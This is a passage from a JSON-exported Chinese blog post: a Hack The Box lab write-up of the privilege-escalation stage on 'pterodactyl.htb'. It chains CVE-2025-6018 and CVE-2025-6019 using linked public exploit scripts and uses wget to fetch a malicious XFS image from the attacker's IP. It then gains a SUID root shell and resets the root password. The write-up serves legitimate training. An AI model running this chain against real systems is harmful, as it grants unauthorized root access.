\/><\/p>\n<p>\u53d1\u73b0\u867d\u7136<code>phileasfogg3<\/code>\u7528\u6237\u62e5\u6709\u901a\u8fc7<code>Sudo<\/code>\u6267\u884c\u4efb\u4f55\u547d\u4ee4\u7684\u6743\u9650\uff0c\u4f46\u9700\u8981\u8f93\u5165\u76ee\u6807\u7528\u6237\u7684\u5bc6\u7801\uff0c\u65e0\u6cd5\u76f4\u63a5\u5229\u7528\u3002<\/p>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u5728<code>\/var\/mail\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86\u5f53\u524d\u7528\u6237\u7684\u90ae\u4ef6\u6536\u4ef6\u7bb1\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lA \/var\/mail\/<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770608241777-241bb5d7-a96e-4898-b097-8e5a9affe8c8.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u8be5\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">cat \/var\/mail\/phileasfogg3<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770608306548-0e8ac130-0150-428a-8d87-cf5c312ccfd3.png\" alt=\"\" \/><\/p>\n<p>\u5728\u6536\u4ef6\u7bb1\u4e2d\u5b58\u5728\u4e00\u5c01\u6765\u81ea<code>headmonitor<\/code>\u7528\u6237\u7684\u90ae\u4ef6\uff0c\u5185\u5bb9\u5927\u610f\u4e3a\u5728\u64cd\u4f5c\u7cfb\u7edf<code>udisksd<\/code>\u8fdb\u7a0b\u4e0a\u63a2\u6d4b\u5230\u4e86\u975e\u6b63\u5e38\u6d3b\u52a8\uff0c\u63d0\u9192\u7cfb\u7edf\u7ba1\u7406\u5458\u68c0\u67e5<code>udisksd<\/code>\u8fdb\u7a0b\u4e0e\u65e5\u5fd7\u6587\u4ef6\u3002<\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u67e5\u8be2\u548c<code>udisksd<\/code>\u76f8\u5173\u7684\u4fe1\u606f\uff0c\u53d1\u73b0\u4e24\u4e2a\u9700\u8981\u7ec4\u5408\u5229\u7528\u7684\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff1a<a href=\"https:\/\/www.freebuf.com\/articles\/system\/435264.html\" target=\"_blank\"  rel=\"nofollow\" >Linux PAM\u53caudisks\u7ec4\u4ef6\u66dd\u9ad8\u5371\u63d0\u6743\u6f0f\u6d1e\uff0c\u65e0\u9700\u7279\u6b8a\u624b\u6bb5\u5373\u53ef\u5b9e\u73b0root\u7ea7\u8bbf\u95ee - FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770608980481-4993a5ce-5aff-4536-b50d-3ca3d456bc24.png\" alt=\"\" \/><\/p>\n<p>\u4e24\u4e2a\u6f0f\u6d1e\u5206\u522b\u4e3a<code>CVE-2025-6018<\/code>\u548c<code>CVE-2025-6019<\/code>\u3002\u7b2c\u4e00\u4e2a\u6f0f\u6d1e\u539f\u7406\u4e3a<code>Linux PAM<\/code>\u9274\u6743\u6a21\u5757\u4e2d\u5b58\u5728\u903b\u8f91\u7f3a\u9677\uff0c\u4f7f\u8fdc\u7a0b\u767b\u5f55\u7684\u7528\u6237\u88ab\u9519\u8bef\u5730\u6388\u4e88<code>Polkit allow_active<\/code>\u6743\u9650\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u7528\u6237\u4f1a\u8bdd\u88ab<code>Polkit<\/code>\u5f53\u4f5c\u672c\u5730\u63a7\u5236\u53f0\u4f1a\u8bdd\u5904\u7406\uff1b\u7b2c\u4e8c\u4e2a\u6f0f\u6d1e\u4e3a<code>udisksd<\/code>\u7684\u63d0\u6743\u6f0f\u6d1e\uff0c\u5f53\u7528\u6237\u5904\u4e8e<code>allow_active<\/code>\u72b6\u6001\u65f6\uff0c\u53ef\u901a\u8fc7\u8be5\u7279\u6743\u548c\u4e00\u4e9b\u653b\u51fb\u64cd\u4f5c\uff0c\u6302\u8f7d\u5e26\u6709<code>SUID Bash<\/code>\u7684<code>XFS<\/code>\u78c1\u76d8\u955c\u50cf\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002<\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u51b3\u5b9a\u4f7f\u7528\u4e0a\u8ff0\u4e24\u4e2a\u6f0f\u6d1e\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<h2>Linux PAM\u4e0eUDisks\u6f0f\u6d1e\u7ec4\u5408\u5229\u7528<\/h2>\n<p>\u5728\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u4e86\u4e24\u4e2a\u9700\u8981\u7ec4\u5408\u5229\u7528\u7684\u6f0f\u6d1e\uff1a<code>CVE-2025-6018<\/code>\u548c<code>CVE-2025-6019<\/code>\u3002\u73b0\u5728\u8fdb\u884c\u653b\u51fb\u64cd\u4f5c\u3002<\/p>\n<p>\u9996\u5148\u4e0b\u8f7d\u4e24\u4e2a\u6f0f\u6d1e\u7684<code>EXP<\/code>\u811a\u672c\u5230\u672c\u5730\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/raw.githubusercontent.com\/dreysanox\/CVE-2025-6018_Poc\/refs\/heads\/main\/poc2025-6018.py\" target=\"_blank\"  rel=\"nofollow\" >CVE-2025-6018_Poc\/poc2025-6018.py at main \u00b7 dreysanox\/CVE-2025-6018_Poc \u00b7 GitHub<\/a><\/li>\n<li><a href=\"https:\/\/raw.githubusercontent.com\/guinea-offensive-security\/CVE-2025-6019\/refs\/heads\/main\/exploit.sh\" target=\"_blank\"  rel=\"nofollow\" >CVE-2025-6019\/exploit.sh at main \u00b7 guinea-offensive-security\/CVE-2025-6019 \u00b7 GitHub<\/a><\/li>\n<\/ul>\n<p>\u968f\u540e\u5728\u672c\u5730\u6267\u884c<code>CVE-2025-6019<\/code>\u6f0f\u6d1e\u5229\u7528\u811a\u672c\uff0c\u9009\u62e9<code>Local<\/code>\u6a21\u5f0f\uff0c\u521b\u5efa\u6076\u610f<code>XFS<\/code>\u955c\u50cf\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770610201516-c5b8a0c4-ba58-47b1-9efb-37243a3f2c8d.png\" alt=\"\" \/><\/p>\n<p>\u521b\u5efa\u5b8c\u6210\u540e\uff0c\u6267\u884c<code>CVE-2025-6018<\/code>\u6f0f\u6d1e\u5229\u7528\u811a\u672c\uff0c\u4f7f<code>SSH<\/code>\u8fdc\u7a0b\u4f1a\u8bdd\u62e5\u6709<code>allow_active<\/code>\u6743\u9650\uff1a<\/p>\n<pre><code class=\"language-shell\">python .\/cve-2025-6018.py -i pterodactyl.htb -u phileasfogg3 -p '!QAZ2wsx'<\/code><\/pre>\n<p>\u547d\u4ee4\u6267\u884c\u5b8c\u6bd5\u540e\u91cd\u65b0\u767b\u5f55<code>SSH<\/code>\uff0c\u5e76\u5728\u672c\u5730\u5f00\u542f<code>SimpleHTTPServer<\/code>\uff0c\u5728\u9776\u673a\u4e0a\u4f7f\u7528<code>wget<\/code>\u4e0b\u8f7d<code>CVE-2025-6019<\/code>\u5229\u7528\u811a\u672c\u548c<code>xfs.image<\/code>\u6076\u610f\u955c\u50cf\uff1a<\/p>\n<pre><code class=\"language-shell\">wget http:\/\/10.10.16.6\/cve-2025-6019.sh\nwget http:\/\/10.10.16.6\/xfs.image\nchmod +x cve-2025-6019.sh<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770610769327-5f21b04f-9306-48f2-968f-bb2b4cbba911.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u5b8c\u6bd5\u540e\u67e5\u770b\u76ee\u5f55\uff0c\u53d1\u73b0\u5bb6\u76ee\u5f55\u4e0b\u5b58\u5728<code>bin<\/code>\u5b50\u76ee\u5f55\uff0c\u6000\u7591\u4e3a<code>phileasfogg3<\/code>\u7528\u6237\u7684\u4e13\u7528\u547d\u4ee4\u7a0b\u5e8f\u76ee\u5f55\uff0c\u9042\u67e5\u770b<code>PATH<\/code>\u73af\u5883\u53d8\u91cf\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770610883370-1c91543a-8364-4da4-98ff-7bb733b14a67.png\" alt=\"\" \/><\/p>\n<p>\u786e\u8ba4\u5bb6\u76ee\u5f55\u4e0b\u7684\u547d\u4ee4\u7a0b\u5e8f\u76ee\u5f55<code>bin<\/code>\u5904\u4e8e<code>PATH<\/code>\u53d8\u91cf\u7684\u9996\u4f4d\uff0c\u4e3a\u9632\u6b62\u653b\u51fb\u811a\u672c\u8fd0\u884c\u88ab\u5e72\u6270\uff0c\u76f4\u63a5\u7f16\u8f91<code>.bashrc<\/code>\u6587\u4ef6\uff0c\u5c06<code>PATH<\/code>\u53d8\u91cf\u8bbe\u7f6e\u4e3a\u6b63\u5e38\u7684\u8def\u5f84\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-shell\">export PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/usr\/local\/games:\/usr\/games<\/code><\/pre>\n<p>\u968f\u540e\u518d\u6b21\u91cd\u65b0\u767b\u5f55<code>SSH<\/code>\uff0c\u8fd0\u884c<code>cve-2025-6019.sh<\/code>\uff0c\u9009\u62e9<code>Cible<\/code>\u6a21\u5f0f\uff1a<\/p>\n<pre><code class=\"language-shell\">.\/cve-2025-6019.sh\nC<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770611398282-33ab90c9-1f8f-4f59-b5f6-48d875da9a6d.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6267\u884c<code>root SUID Bash<\/code>\uff01\u8c03\u7528<code>Python OS<\/code>\u6a21\u5757\u6267\u884c\u4fee\u6539<code>root<\/code>\u5bc6\u7801\u64cd\u4f5c\uff1a<\/p>\n<pre><code class=\"language-shell\">python3 -c \"import os;os.setuid(0);os.setgid(0);os.system('passwd root')\"\nexit<\/code><\/pre>\n<p>\u9000\u51fa<code>SUID Bash<\/code>\u540e\uff0c\u76f4\u63a5\u5207\u6362\u81f3<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">su -<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1770611601038-ed3bd7ba-63c1-4aa7-bd2a-326ce339b011.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.174.98\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.174.98 ( &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_analysis_target_kw":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[2,14,6],"tags":[],"class_list":["post-393","post","type-post","status-publish","format-standard","hentry","category-htb_seasonal","category-linux_machines","category-htb_season_linux"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=393"}],"version-history":[{"count":2,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/393\/revisions"}],"predecessor-version":[{"id":395,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/393\/revisions\/395"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}